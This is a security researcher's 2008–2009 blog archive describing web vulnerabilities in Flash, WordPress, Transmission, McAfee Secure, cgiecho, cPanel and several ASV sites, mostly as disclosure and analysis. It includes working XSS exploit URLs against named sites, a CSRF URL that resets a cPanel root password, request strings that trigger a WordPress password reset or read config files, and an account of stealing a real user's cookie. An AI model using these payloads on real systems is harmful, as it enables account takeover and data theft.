Skeptikal.org

Friday, November 13, 2009

Flash Origin Attack FAQ

Okay, people are looking at this Flash issue. Neat. A lot of people don't fully understand it, which may be my fault. Here, I'm going to try to respond to some of the questions and comments that I've received from various parties.

This is not a single issue

While it is a single, basic issue that enables this exploit, it is the
intersection of that and several others that makes it critically bad.

Specifically, the fact that an uploaded file can attack a server is hardly news. As mentioned in my original post, Adobe has acknowledged this issue with advisories multiple times. If you were already aware of it, good on you. However, it still is new to most website administrators, and more importantly, these are the people that Adobe expects to fix it.

The part that is new, is the focus of this research, and admittedly could have been described better, is that the Flash player will execute any file it is asked to execute. The HTML <embed> tag is used to include objects that the browser may not be natively able to handle. Arguably, this may be a browser issue as well, as the content-type supplied by HTTP headers should take precedence over the type attribute specified in the HTML page, but the plugin itself should also verify that the proper content-type is sent in the server's response HTTP headers before executing the plugin. Flash's plugin does not do so.

If Flash's plugin did handle this correctly, the other issue documented here- that of overloading various filetypes, primarily ZIP, would be nearly useless. The point of that work was to demonstrate just how difficult it is for administrators to filter uploaded content by file validation, and to provide various examples of how to bypass such validation with 100% legal files, which are still potentially malicious. More on that in a moment.

This is not a cross-site scripting attack

The end result of the attack can indeed be XSS, as Actionscript may execute Javascript through the "ExternalInterface" method, but the source of this problem is not necessarily input sanitization. It is a core design flaw in Flash's same-origin policy, combined with the weak content ownership management that is already common on the majority of websites and prebuilt web applications on the internet.

Calling this attack XSS, when it involves no Javascript (arguably, not really a requirement), is not cross-site (again, not really a requirement, despite being in the name), and involves no HTML injection, is a stretch, but the similarity is certainly there, bringing me to the next point:

This attack abuses the user to attack the server

This is where it is very similar to XSS. The whole point is to hijack the user's browser and have the ability to issue requests to, and read the results from the server. In the context of a user's session, this can be a very bad thing. Neither the server itself nor the client's computer is being compromised directly; The web application, and any data or functionality within, is now accessible to the attacker.

Adobe does not intend to fix it

As they have made abundantly clear, Adobe considers this to be the web administrators' problem. Regardless of whether you agree with them or not on this, it is hard to dispute that Adobe's expectation of administrators to prevent this issue is unrealistic.

In fact, Adobe does not appear to be able to manage this issue on their own web properties. For example, photoshop.com is an interactive image library application. Uploaded images are not validated fully, and are stored on (and executable from) api.photoshop.com. This is indeed a separate domain from the rest of the application, and should be safe (though I'd point you to my paper on cross-subdomain attacks and say it is still poor practice), but www.photoshop.com's crossdomain.xml policy specifically allows access from *.photoshop.com.

Next, take a look at bugs.adobe.com. This third-party issue tracking system allows users to upload screenshots (or zip files of screenshots) of bugs. These files are hosted on bugs.adobe.com, and can be used to exploit not only bugs.adobe.com, but again through crossdomain policies, www.adobe.com, www.acrobat.com, www.photoshop.com, and other Adobe web properties.

You'll never guess where www.photographersdirectory.adobe.com keeps its uploaded images. Or where forums.adobe.com keeps users' uploaded avatars.

Clearly, expecting website administrators to understand, not to mention be able to fix this issue is ridiculous and unrealistic. I originally compared this to the GIFAR exploit, which uses very similar attack techniques against the Java plugin. Unlike Adobe, Sun took responsibility and fixed their plugin. Whether they are wrong or right, Adobe is uniquely in a position to create a client-side fix for the Flash users. Until they do so, many websites will remain vulnerable.

Labels: , , ,

Thursday, November 12, 2009

When Flash Attacks...

Adobe doesn't have a great reputation in the security community, given the long string of exploits and 0-days that have come out over the past few years. Most of the research that I've seen, however, has been attacking the Flash player directly, rather than using it to attack web applications. This is akin to looking for buffer overflows in a Javascript parser, but completely disregarding cross-site scripting as an attack strategy.

The attackers, on the other hand, aren't so picky. From the LiveJournal worm that came out a few weeks ago, as well as some other things-I-can't-talk-about, it's clear that they are beginning to play with the interaction of Flash and web applications.

So, I've been researching this stuff as well. I've found a lot of interesting things, all of which will get released eventually. The first piece, on how to abuse a quirk in Flash's origin policy (complete with a ridiculous multistage Gmail exploit), just went live on Foreground Security's website.

Eventually, there will be a whitepaper, a talk, and some tools released. Stay tuned.

Labels: ,

Tuesday, November 3, 2009

Cross-subdomain Cookie Attacks

I did a talk at Toorcon last weekend on exploiting client-side applications' trust in subdomains. Primarily, it formalized and demonstrated a few attacks on cookies, which implement security policies backwards by placing more trust in a subdomain of a trusted domain, rather than less, as the hierachical nature of DNS would suggest.

Last night, I put together a quick paper summarizing these problems, with interesting proof-of-concept attacks against Google's new CSRF protection feature and Expedia.

I'm still looking into the ways that other client-side technologies (Flash, Java, etc) handle these issues, so expect a version 2.0 in the future. Also, I'm looking forward to some relevant new tools that will be released at AppSec DC next week.

Note: All the attacks outlined in this paper were responsibly disclosed, and the Google and Expedia ones, specifically, have been fixed for several weeks.

Labels: , ,

Tuesday, August 11, 2009

PHP Casting Errors in Wordpress

Did you see the Wordpress vulnerability that was published last night?

While Wordpress vulns aren't really news, this one was fascinating. All it does is allow an attacker to reset the adminsitrator's password- locking him out of the account. Annoying, but not fatal. I'm interested in the vuln itself, as it stems from PHP's flexible casting. In particular, the following lines of code (paraphrased for context and clarity):

$key = preg_replace('/[^a-z0-9]/i', '', $_GET['key']);

if ( empty( $key ) ){
return new WP_Error('invalid_key', __('Invalid key'));
}

$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));

This code can be exploited by passing the vulnerable script an empty array rather than a string for $_GET['key']. You can pass an array in a query string using the [] syntax:

wp-login.php?action=rp&key[]=

Go back and step through the vulnerable code again. The value of $_GET['key'] would look like this in PHP form:

$_GET['key'][0]='';

The array is handed to preg_replace, which, when given an array to work with, will perform the regex substitution on each element of the array, then return that array. Again, this array contains one element, an empty string, so when it hits the "if(empty($key))" line, it returns false (as the array is not empty). This, in turn, is important because the wpdb->prepare() statement receives an array when it is expecting a string, flattens that array out, and gives you the following query:

SELECT * FROM `users` WHERE user_activation_key = ''

Since the admin user is the first row in the database, and his activation key is blank (assuming nobody has performed a password reset on the account yet), that user is returned, and his password is changed.

That probably wasn't the best explanation, but if you're still with me, that brings us to the question of "what did they do wrong?" The first problem was assuming that $_GET['key'] was a string. While the programmer checked that string for malicious characters (in the preg_replace), he didn't check the type of the variable. Flexible casting of variables is common in PHP apps, but as this example demonstrates, this can be dangerous. As part of your input validation process, you should be either checking or forcibly casting the type of that input. I suspect that the programmer thought he was forcibly casting the input with preg_replace(), but was not aware of how it handles arrays.

Here is the official fix:

if ( empty( $key ) || ( is_array( $key )){
return new WP_Error('invalid_key', __('Invalid key'));
}


Can you see the problem here? This is a classic bad approach to fixing security bugs- patching the exploit, not the vulnerability. Instead of checking whether the input is what you expect (is_string), they are making sure that it isn't what they don't expect (is_array). While this does fix the issue, it is a blacklist approach, not the whitelist approach that would be recommended. What will happen if an attacker figures out how to pass another data type to this function? It may break, it may not. Either way, it's not very fault-tolerant coding.

The reason I'm bringing it up is that this is an excellent case study of an underappreciated programming bug. As useful as PHP's loose casting and overloaded functions can be, you still need to validate your inputs and explicitly verify that they are what you expected.

Thanks to Rafal Los for making me look at this, and working through the mess that is the Wordpress codebase with me.

Labels: , ,

Wednesday, July 8, 2009

RIP Milw0rm (or not)

Sadly, Milw0rm.com is going offline- permanently, from the sound of it. Str0ke posted the following message on the site before it went dark:

Well, this is my goodbye header for milw0rm. I wish I had the time I did in the past to post exploits, I just don't :(. For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of, 0 to 72 hours (taking off weekends) isn't fair to the authors on this site. I appreciate and thank everyone for their support in the past. Be safe, /str0ke


While it gets a bad rap for its large script kiddie user base, I've learned a lot from the exploits on that site, and it will be missed. Thanks Str0ke.

If anybody has info about where I can get a copy of the milw0rm archives, I'd be happy to mirror it here.

Update 7/8/2009 2:47 PM: While Str0ke isn't going to be running things, it looks like he found some other people to take over for him. Exploit submissions are still closed for now, and milw0rm.com is still offline, though that may just be server overloading.

Labels: , ,

Tuesday, May 12, 2009

Owning Ubuntu with CSRF

When the latest version of Ubuntu was released, it came with a new version of the Transmission bit torrent client. One of the new features of Transmission was a web interface, which would allow users to manage torrents from their web browsers. The service is ip-restricted to localhost.

Why the service should be enabled by default, or why the local user (the only one able to access it by default) would ever want it, I'll never know, but it should be no surprise to anybody that I immediately poked around for CSRF holes.

As it turns out, the holes were there, and though a bit tricky to exploit- it required mangling the form inputs and using the text/plain encoding, Transmission was quite vulnerable. Here's a proof-of-concept. Basically, it allows me to first change the download destination to one of my choosing, then download a torrent of my choosing. This is bad- I could force a user to download a new .bashrc file or overwrite their entire home directory (I actually did this by accident while testing the exploit. Backups are great).

Other problems do make it harder to exploit. First, when you start the torrent, it pops up a box asking the administrator what he wants to do with it. Many people, including myself, have it configured to skip this step, as it's extremely annoying.

When you make the CSRF requests, the result is returned in JSON format, and browsers without handlers for it will pop up a box asking if you'd like to save the file. When this box pops up, it is already too late, as the request has already been processed by the server, but it does at least keep the attack from being silent.

This isn't really a new exploit- Nate McFeters talked about doing the same thing through an XSS hole in the Azureus web interface in his talk, "the Internet is Broken", at Black Hat 2008.

The hole is fixed in today's release, so go ahead and upgrade, then disable that web server.

Please, let's start taking CSRF seriously.

Labels: , , ,

Tuesday, May 5, 2009

Most PCI Companies Are Insecure

The McAfee XSS got slashdotted. I think that all this attention is a good thing, putting a spotlight on XSS issues, but I have to say, I'm surprised by it. It's not like XSS attacks are news anymore, and it's not as if this is the first McAfee XSS to be published. Last night, I found an XSS hole in the verification script for their SiteAdvisor service (for extra irony).

McAfee SiteAdvisor XSS

But really, focusing on these XSS holes is missing the point. I never thought I'd say this, but in my experience, McAfee is one of the better ASVs out there. This isn't a compliment to them, it's an insult to the entire industry. Here are a few examples of other ASVs.

Until last week, atsec.com was vulnerable to XSS.

Until last week, secureconnect.com was vulnerable to XSS.

Until last week, ncircle.com was still vulnerable to XSS.

sungard.com is still vulnerable to XSS.

controlcase.com is still vulnerable to XSS.

support.foundstone.com (McAfee's premium brand) is still vulnerable to Cross-site Framing.

Up until a few weeks ago, there were also open redirects on the websites of Qualys, SecurityMetrics, and others. Is it any wonder I'm not at all shocked at a few XSS holes in McAfee's web site?

Some of these companies should be commended for handling the vulnerabilities correctly- nCircle, SecureConnect, Qualys, and even McAfee responded admirably- sometimes the issue was fixed within minutes of my vulnerability report. Others- Foundstone, ControlCase, and Sungard, belong in the doghouse- none of them even responded.

However, the glaring fact is that the entire PCI scanning industry is, frankly, bad at scanning for vulnerabilities. Most of these websites use their own scanning service on their own websites. While I still hold that in-depth audits for these sites should have taken place long ago, the scanners should have caught the problems as well. Some of these domains contain the portals for customers to manage their PCI compliance scans.

People, let's take the focus off of McAfee, and put it where it belongs. The PCI scanning industry as a whole is a joke, and across the board, these Web Security companies are themselves bad at security.

Edit 5-6-2009: nCircle was one of the fast-responders.
I mistakenly listed them as one of the "doghouse" ASVs.

Labels: , , , , , , , ,

Monday, May 4, 2009

Epic Failure from McAfee

When you outsource all your PCI scanning to another company, you'd expect that company to be careful with your data. First off, there's the fact that security is what they do- if that data were to get leaked, you'd expect the damage to reputation alone to be crippling.

Second, (and probably the least important, really), the PCI ASV validation requirements (section 4.5.1, if you're interested) make it pretty clear that client data should be kept very confidential.

Finally, the data contained on those servers- lists of vulnerabilities on all their clients' systems, along with security administrators' passwords and more, is pretty high on the list of Things You Don't Want Getting Out.

You know what's coming.

We've found problems with McAfee time and time again. I was saving this for a post later this week, but given recent events, I think the time is right.

Until last week, McAfee Secure was vulnerable to critical CSRF holes. Not little ones, or ones that were difficult to exploit- basic, zero-kowledge, classic GET-based total-account-compromise holes. I think the pictures tell the story:

Logged in, 3 Accounts

iframed CSRF Attack

Malicious User Added

Account Confirmation Email

I sent a vulnerability report to a contact at McAfee and they responded quickly, communicated with me, and fixed the issue. They also began reviewing their entire codebase for similar holes. I commend them for that, but I cannot overlook the fact that this vulnerability never should have existed in the first place.

It's not going to be a surprise to anybody, but this is solid proof that McAfee Secure is mis-named. Their failure here is on an epic scale:

  • They did not comply with PCI requirements for ASVs

  • They did not use a secure software development lifecycle in building this application

  • An in-depth penetration test should catch an issue like this, so I presume that no such audit has taken place

  • Until I reported it, they had never performed a full code review for web vulnerabilities

  • As you can see in the 1st and 3rd screenshots, the application was itself certified as McAfee Secure when I performed this demonstration.

  • At no point in five weeks from me finding the vulnerability and it being fixed was that McAfee Secure logo removed from their own website.

The ultimate and obvious irony, however, is that McAfee Secure is in the business of testing others' web applications. I'll be the first to say that they are not equipped to do so.

I have a lot more information coming on this and related issues. Try the veal, tip your waitress, I'll be here all week.

Labels: , , , , , ,

Thursday, April 16, 2009

PHP.net XSS: Mass Carnage with Mirrors

I found a minor hole in php.net the other day. It's a small reflected XSS hole that uses URI parameters. At first, I thought it wasn't a huge deal, and wrote up a vuln report.

Then it occurred to me to look deeper, and I found that there are hundreds of mirrors of the php.net site, spread across the internet in what turned out to be some awfully interesting locations. Many of the domains it is mirrored on are web hosting companies, and most of those have some type of customer portal on the same domain. In addition to these, there are some .gov and .edu sites of interest, and the really interesting one- Facebook.

php.mirror.facebook.com XSS

While Facebook's session cookies are set as HttpOnly and not accessible to javascript, this is still a serious issue. First off, not all browsers support HttpOnly cookies. Second, HttpOnly implementations aren't perfect. Finally, even the non-HttpOnly cookies contain valuable data which can be leaked through the subdomain. I wrote up a proof of concept that will allow me to de-anonymize users by reading their facebook UID off of php.mirror.facebook.com.

In fact, I sent a vulnerability report to Facebook as well, and sent them the wrong link- normally I'd just pop an alert box as a proof-of-concept, but I accidentally sent the link with the weaponized cookie-stealer in it. Much to my surprise, I checked my logs this morning and found that one of Facebook's product managers had clicked the link. I suppose there' a lesson in there about not trusting the link that some random hacker sends you, even if they seem helpful.

Facebook Product Manager's Stolen Cookie

The php.net people responded quickly and fixed this vulnerability, and the fix is slowly propagating to the mirrors, but I have no doubt that more exist. This got me thinking about the possibility of writing a cross-domain XSS worm. It turns out, it's completely possible, though in this case the scope is a bit limited.

Lessons learned: Be careful with where you get your content, and what you put on your subdomains- mirror.victim.com can nearly as useful to an attacker as www.victim.com.

Labels: , ,

Monday, April 13, 2009

Photobucket Private Album Access via CSRF

I've been playing a lot with CSRF lately. As I find ways to manipulate more and more services with what is probably the most basic type of attack possible, I keep getting surprised by the insanely cool things that one can do with it.

Photobucket allows users to make albums either "Public" or "Private", the latter of which will enable access only with a guest password. While chatting with a friend online recently, I tried to view one of her private albums. Knowing what I do for a living, she gave me permission to do so, but said I'd have to find my way in without her help. So I did.

The form for setting a private album's password, as well as the one for making an album public, both are vulnerable to CSRF. In fact, both use GET parameters to do their magic, so it's actually pretty trivial to pull off a successful attack. I wrote a proof of concept, but it's really not that complicated.

Not only can users' albums be made public, but variations on this exploit can be used to change passwords on albums, delete photos, and compromise account passwords. This really is a serious issue- while Photobucket's TOS may protect them from liability (and may or may not hold up in court), there are a lot of extremely private photos stored there.

I emailed a vulnerability report to Photobucket on the morning of 4-9-2009, but have not received a response.

Labels: , , , , ,

Friday, April 10, 2009

Cgiecho XSS and Information Disclosure

cgiecho is a test cgi script, usually packaged with a formmailer called cgiemail. It's found in the cgi-bin directory of a lot of sites, due to it being a default script in many cPanel installations. The script was written by somebody at MIT some time ago, and so is common on high-profile sites such as mit.edu and
xmission.com.

The script contains XSS and path disclosure holes, one example of which can found on mit.edu, but that's not really the emphasis of this report.

Basically, cgiemail allows a user to specify a template file from anywhere within the web root. When data is posted to it, substitutions are made based on the parameters posted and the content of the template file.

For example, if a template file "/templates/mail.txt" contains the following:

Hello [firstname] [lastname]!

When the parameters firstname=dr&lastname=evil are submitted to http://victim.com/cgi-bin/cgiecho/templates/mail.txt, the returned page will make those substitutions.

Many web scripting languages dereference array values using the [] characters, so the cgiecho script can be forced to return the contents of sensitive files if the index of any one array is known.

If a configuration file is located at /includes/config.php and contains the following:

define('HOME', $_SERVER['DOCUMENT_ROOT']);
define('USERNAME', 'victim');
define('PASSWORD', 'secret');


An attacker can post "%27DOCUMENT_ROOT%27=bork" to http://victim.com/cgi-bin/cgiecho/includes/config.php and read the contents of that file.

define('HOME', $_SERVER[bork]);
define('USERNAME', 'victim');
define('PASSWORD', 'secret');


For testing purposes, a form to generate correct attack parameters is located here.

Labels: , , , ,

Wednesday, April 8, 2009

Solving Semantic CAPTCHAs with Google

This came up in a discussion with a developer quite a while ago, and I've been meaning to write a proof-of-concept. So far, I haven't had a chance to, but I think the idea is interesting enough to talk about alone.

The idea of using semantic CAPTCHAs has been discussed quite a few times over, and even implemented in a few cases. So far, these implementations have worked reasonably well, but that is only because they aren't worth the trouble yet.

One example of a semantic captcha is found on php.net, the online bible for PHP developers. Each PHP function's manual page has a "comments" section where people can leave helpful tips for using the function in question. This comments form is a particularly poor implementation of a semantic CAPTCHA (it's vulnerable to replay attacks, has a very limited number of possible solutions, among other things) and also contains an open redirect hole. Let's focus on solving the captcha without using those flaws.

PHP.net semantic captcha

This captcha asks the user to solve a math problem, but substitutes words for mathematical symbols. In this example, the question is "two minus one". Anybody who has ever used the Google calculator can solve that one with a single request to http://www.google.com/search?q=two+minus+one:

Google Calculator breaking Semantic Captcha

It's a simple matter of plugging the data into google and parsing the output. It could be argued that this isn't really a semantic CAPTCHA, just a mathematical one with a semantic output format. Other developers suggested asking pop culture or trivia questions. The example that was given to me was "Is Paris Hilton A Slut?". The obvious flaw with this question is that it has a boolean solution, and 50% isn't a very good success rate for a CAPTCHA. However, if we wanted to improve our chances, we could turn to Google again:

Google Results: Is Paris Hilton a Slut

Just by parsing the titles of the returned results pages, we get two titles with negative operators. If we parsed the result descriptions, we'd get a few more, but statistically, it's pretty clear that Google thinks Paris Hilton is a slut. The AI to do this type of language processing has been around since 1966.

Labels: , , ,

Monday, April 6, 2009

cPanel Root CSRF: Round 3

Readers who have been with me from the beginning (as well as the guy that read my entire site yesterday) will recall that last fall, I posted several XSS and CSRF vulnerabilities with the cPanel WHM interface. Essentially, these vulnerabilities would allow me, as an attacker, to root a cPanel server simply by having an authenticated administrator browse my website. At the time, the vendor did not respond to my vulnerability reports, and the problems went unfixed until I resubmitted them to Secunia in February.

cPanel finally took action, fixing the XSS hole that I had found. However, the CSRF issues (which were much more critical in this case) were ignored. Their response to these issues was that CSRF can be prevented using the "XSRF Protection" feature in the WHM administration interface. I double checked and sure enough, there was such a feature. It was obscure, disabled by default, nowhere to be found on the cPanel documentation pages and FAQ (which ironically has its own XSS holes), and had verbage next to it that would discourage most administrators from enabling the feature. Essentially, cPanel treats these critical CSRF holes as a feature:

cPanel XSRF Protection Setting

I didn't have all that much time to look into it until today, when I decided to actually test this feature. Digging into the code, the first thing I noticed was that all the "XSRF Protection" does is check the referrer that your browser sent- if it doesn't match one of the known domains for the server, the requested action is not allowed to take place.

The first way around this was obvious. If your browser does not send any referrer, the XSRF protection does not kick in. Referrers can be suppressed several ways, but the first one that comes to mind for me is SSL. Many browsers will not send referrers when coming from an SSL page. This morning, I wrote a proof of concept that bounces the user off an SSL-encrypted open redirect (there's plenty of them out there). A few tests with the latest version of cPanel confirmed that Firefox 3 does not send a referrer, and the XSRF Protection feature had no effect.

Assuming that the browser did send referrers, there are still plenty of ways to bypass it. The next thing that comes to mind is simply using a domain on the whitelist to execute the attack. With a few hundred users on most cPanel servers, finding an open redirect, file upload, XSS, or cross-site framing hole is usually trivial. If you combine that with the mod_userdir attacks I posted last week, you can increase the effectiveness of this attack even further.

The next idea I had was to add my domain to the list of allowed domains. It requires access to a local account on the server (legitimately or not), but any user can add extra domains and subdomains to his site- subdomains which are considered "allowed" by cPanel. This provides yet another effective way to avoid the XSRF protection feature.

The back end code for the cPanel interface is an absolute mess- it's amazing that it works as well as it does. Not just the WHM interface, but the entire package is vulnerable to CSRF and XSS attacks at nearly every level. This software manages hundreds of thousands of websites.

This is bad.

But preventing CSRF would break your third party billing software, so we should probably allow it by default. That's a great idea.

Edit: cPanel did, in fact, mention the XSRF Protection feature on their blog about a year ago. This post calls the CSRF issues "security issues, which range in severity from trivial to medium-critical"

Labels: , , , , , , ,

Thursday, April 2, 2009

Opening Doors With XSS

This is the first in a series of posts on "cool things I broke with web exploits."

A few weeks ago, I demoed an access control system from ADT. Being the bad person that I am, I was less interested in the system's features than I was in the ways that it could be broken, and as soon as I heard it had a web-based administration interface, I knew I was going to have fun.

Like any good hacker, I paid careful attention through the demonstration, probing for more information about the system ("How many customers use this system? Banks too, huh? Which banks? Do they all use the same admin interface?"), slyly jotting down the username and password from the post it note on the demo kit, and making careful note of the admin login's URL. After the presentation, I did a bit more online research, and came up with the following-

The system in question (Brivo ACS) is widely installed by ADT, but was designed by a company named Brivo Systems, LLC. Brivo runs the servers and maintains the application. ADT, as well as a wide range of other companies, function as dealers, resellers, and installers. Roughly 25,000 doors are controlled by one server, with users ranging from financial institutions to IT datacenters. The system runs the logic behind HID and other token-based authentication mechanisms- You scan your card, the server decides whether you are allowed in, logs the request, and opens the door.

So I set out to find an exploit. It being a web app, I was in my comfort zone. Probing for input validation holes, I was pretty impressed with the thoroughness of the filtering.... until I found an error page.

I love error pages, they tell you all kinds of useful information, including account data, a stack trace, and internal application variables. For bonus points, they print it all out without any escaping. Once I found the error page, I was just one request away from a working XSS exploit:



The consequences of this are huge- while it may not be a simple exploit to pull off, this gives an attacker the ability to steal sessions and manipulate a building administrator's browser. An attacker can easily add his own keycard to the list and walk around secured areas uninhibited. That's a pretty Big Deal.

So, for all those people that think XSS is a minor issue, I present this as Exhibit A.

On the plus side, Brivo's response to my emailed vulnerability report was exemplary. Almost immediately, I had a call to let me know they were looking into it. The next day, a developer spoke with me about it, and by the end of the week, a patch was being tested. I have to give them credit- they responded quickly and professionally. They're currently doing a full review of their systems for other configuration issues (like the error page) and input validation holes. They even invited me to poke around some more once the review process is complete.

Lessons learned- Web-based administration is tricky stuff to do right, XSS does very cool things, and I like companies that listen.

Labels: , , , , ,

Tuesday, March 31, 2009

PCI Hearing Recap

Maybe I expected too much from the congressional hearing on PCI-DSS. While the stated intent was to discuss whether it does any good, it pretty much boiled down to the merchants, the PCI council, and the DoJ saying "It's not our fault, it's your fault" to each other.

You can still view the video online. Despite the overall uselessness of the hearing, a few interesting points were made:

Companies need to understand that PCI compliance is a bare minimum for security. It takes an ongoing security program, with periodic audits and evaluations, to actually improve an organization's security. Simply passing the scanner test does not make you compliant.

Rep. Bennie Thomspon noted that the PCI system isn't working, and put forth the idea that the government should take over from private industry. I hope it doesn't come to this.

Everybody seems to agree that the standards aren't really where we are lacking, but everybody disagrees on where the problem is. The PCI people said it is because they are not followed by the vendors, and that there has never been a breach on a PCI compliant organization. If that was the goal, we should just reduce the standards down to "Don't have any holes" The goal is to reduce data breaches, not reduce the number of compliant companies.

The merchants, in turn, said that it is too hard to be compliant- they noted that the auditing and the techology to maintain compliance is expensive, and that the payment card industry is far behind in the technology. While true, the fact remains that most companies have dismal security practices, and that fixing this is their problem.

Michael Jones, the CIO from Michaels Stores, Inc. was probably the only one making coherent statements. He testified that the standards are too complex and arcane, designed to protect the Payment Card Industry rather than the merchants or consumers, and impossible to implement fully in any case.

This may be proving his point about the difficulty of staying compliant, but Mr. Jones testified that he was "proud to report that Michaels has never had evidence of a breach of consumer data". If this is true (and this is a big if), it's only because nobody has tried. An XSS hole in michaels.com was reported to XSSed.com almost 2 years ago, and still hasn't been patched. In all that time, they have not been PCI compliant. I am betting they would disagree with this point.

I went to michaels.com and noted that their "Find A Store" feature, which is outsourced to a third party, contains XSS holes

Finally, the money shot, it took me less than 60 seconds of searching to find the following hole in forums.michaels.com, which is a 2-for-one: XSS, and SQL injection (with error reporting and script path disclosure thrown in for free):



I have to wonder who has been doing their PCI auditing.

Exploit URLS:

http://direct.where2getit.com/cwc/apps/w2gi.php?template=search%22%3E%3Cscript%3Ealert(1337)%3C/script%3E&client=michaels

http://www.michaels.com/art/online/search?search=yes&type=0&searchWords=%3C/script%3E%3Cscript%3Ealert(/xss/
)%3C/script%3E

http://forums.michaels.com/community/search.php?Cat=asdf%22%3E%3Cscript%3Ealert(1337)%3C/script%3E

Labels: , ,

Friday, March 20, 2009

cPanel, mod_userdir, and Shared Hosting

I know I've made my views on shared hosting clear in the past, but I keep coming up with more reasons to not use it.

To begin with, let me start by saying that yes, I know that mod_userdir isn't recommended by its creators, cPanel, or Apache for secure applications. I may be grabbing at low-hanging fruit here, but that doesn't change the fact that its use is hugely popular for mass-hosted webservers. It is a convenient way to get a lot of sites onto a server, to get valid SSL certificates for each, and for accessing/managing content on all of them.

With that out of the way...

For those that aren't in the know, mod_userdir is an Apache module that allows you to create a separate website for each user on a server. These sites can all be accessed by going to http://servername.com/~username. The module is installed on most Apache setups by default, but isn't necessarily always enabled. Most mass-hosted cPanel servers make extensive use of it for a variety of reasons.

I should note that in the following examples, 'victim' is the username and 'victim.com' the domain of the targeted web site. 'attacker' and 'attacker.com', respectively, are used to compromise victim, but do not have to be run by the attacker- they can simply be accounts with poor log management, PHP or XSS holes, depending on the exploit. With hundreds of sites on a server, finding such a site is usually trivial.

cPanel's default Apache configuration has a handful of flaws in it that make mod_userdir suprisingly useful to the wily attacker. To begin with, the attacker can attack one site, but have the logs deposited in another's log directory. To do this, hit the server through the domain of the site that you want to logs to show up on, but use the username of the target site:

http://attacker.com/~victim/admin.php

With this url format, we can scan, probe, and bruteforce logins without the target site hearing a peep from his apache logs. Even if he does suspect foul play, he will have a hard time getting the logs, as (theoretically, at least) both the server's administrator and the attacker's site will be rather resistant to turning over their own site's logs without a court order.

If you can't find a decent user account on the server, you can always use the server's IP address instead of a domain and run the scripts as apache rather than attacker. This way, only root will be able to access the logs, and surprisingly few administrators ever review the global apache logs.

The one caveat here is that cPanel does allow you to set up a "default" account which may end up catching the logs, but if you go directly to the server's address and see something like this, you have a winner.

Due to poor default Apache configuration, directory listings on /cgi-bin are enabled when you access it in similar fashion:

http://victim.com/~victim/cgi-bin

This alone has been enough for me to crack accounts in past penetration tests. While it has been fixed recently, past versions of cPanel would also print out cgi scripts' contents rather than executing them. Still, included files without a .cgi, .pl, .plx, .ppl or .perl extension can be easily located and downloaded with this method.

By going to http://attacker.com/~victim, we can execute PHP scripts from the user "victim", with the server thinking that we're "attacker". This can be handy for a few things. First off, printing out $_SERVER['DOCUMENT_ROOT'] tells me that I'm running in /usr/home/attacker/. By contrast, the server knows that $_SCRIPT['FILENAME'] is /usr/home/victim/public_html/script.php. The script is executed with victim's privileges, so you can't read or write anything that the user doesn't normally have access to, but if victim is including files or locating resources based on the $_SERVER['DOCUMENT_ROOT'] variable, we can manipulate it, forcing the application to load your own PHP code.

Let's say you don't even want to bother with PHP. If you can find a single XSS hole on any user's site on the server (and you can, I promise), you just have to get people to hit http://victim.com/~attacker/XSSedPage.php.

Let me repeat that- You can XSS every domain on an entire server. Many of these servers contain hundreds of users. In cases where an entire server is owned by one web development company, that server's php applications are usually homogenous. The implications of this are huge. While many are certified as such, no site on a cPanel server should be considered PCI compliant. Many people downplay the importance of XSS exploits, because they have to be individually found and have custom exploit code written. With mod_userdir and a bit of fancy coding, an attacker can compromise hundreds of accounts, all performing hundreds of ecommerce transactions per day.

That's just good economics.

Labels: , , , ,

Wednesday, December 3, 2008

Redirecting Safely

I don't think this is news to the other security people, but as a developer, I had never heard of this issue. As far as I know, none of the developers I regularly work with had heard of it either (though using the code as recommended by the php.net manual will prevent it).

In many PHP applications, there is an admin side and a public side. It is common for developers to have an "admin check" in the code header of the admin side, which essentially evaluates whether a user is authorised to view a resource and either redirects them to the login page, the public page, or lets them through to the resource.

What many developers don't realize is that a browser doesn't have to terminate a connection as soon as it receives a 302 redirect. If you are relying on the following call to keep the riffraff out of your admin pages, you may be vulnerable:

header('Location: login.php');

I can't tell you how many times I've been able to access reports full of user logins, order information, or even account modification functionality, simply by asking my browser to continue loading a page after receiving a redirect. If you need a testing tool to see if you are vulnerable, I whipped up this perl script one day to allow me to simply snag admin pages or post content to them during a penetration test.

In case it isn't obvious, you can prevent this hole simply by halting the flow of the application. If you aren't using more advanced templating and flow control (which I'd recommend anyways), this will work:

header('Location: login.php');
die('Kindly piss off.');


While obvious, this issue is incredibly widespread, and I have to wonder how many developers are unaware of it.

Labels: , , ,

Tuesday, October 21, 2008

PHP's Most Useless Security Bug

I found this a few months ago and have been racking my brain for a way to use it in a pentest. Maybe somebody else can find a practical exploit for this; so far, I have nothing. I do think it's kind of funny though.

With display_errors on, PHP will send errors to the browser, along with the location of the buggy code. This is often useful for debugging, and helpful to malicious users. Interestingly, it doesn't filter the filename for HTML characters.

If you were able to, say, create a folder named "<script>alert(1337)<", and within it, place a file called "script>.php", which in turn threw an error, you'd get something like this.

Labels: , ,

Tuesday, October 7, 2008

Clickjacking Exploits

RSnake is starting to release details about his much-hyped clickjacking exploits, and I have to say, I'm a bit disappointed.

Basically, the attack boils down to using Javascript, Flash, or CSS to surreptitiously place links or other controls under the user's cursor right before he clicks. A clever attack, but I was expecting something new. I've been doing this for years, and Rsnake mentioned something like it back in 2006. He even noted that some of these attacks have been around since 2002. It still hasn't been fixed, but this isn't exactly news.

The "news" part which sparked some drama is that Flash is particularly vulnerable, and can be used to access client-side devices like microphones and cameras. Considering Flash's past record, even earning a Pwnie nomination, it's not all that shocking. Due to RSnake's holding off on releasing the vulnerability, this bug has already been resolved by the vendor.

I suppose due to Flash's huge market penetration, this is somewhat noteworthy, but none of the users seem to care.

Call me cynical, I guess.

That's why I just use Lynx.

Labels: ,

Saturday, August 9, 2008

More Fun With cPanel

I've had a few people contact me about this cPanel exploit- mostly people I'd rather not give further information to (sorry guys, but you're not even very good at being bad guys). Unfortunately, I also don't think anything will get fixed unless it gets made public.

I did some more work on the WHM interface, and it turns out that XSS isn't even necessary to change the root password. It can all be done with CSRF:
http://victim.com:2086/scripts/passwd?user=root&password=owned&password2=owned&submit-domain2=Change+Password

In case you're not familiar with CSRF, it is a vulnerability that is extremely underrated- forcing authenticated users to perform actions for you via well placed links, resource tags, or open redirects.

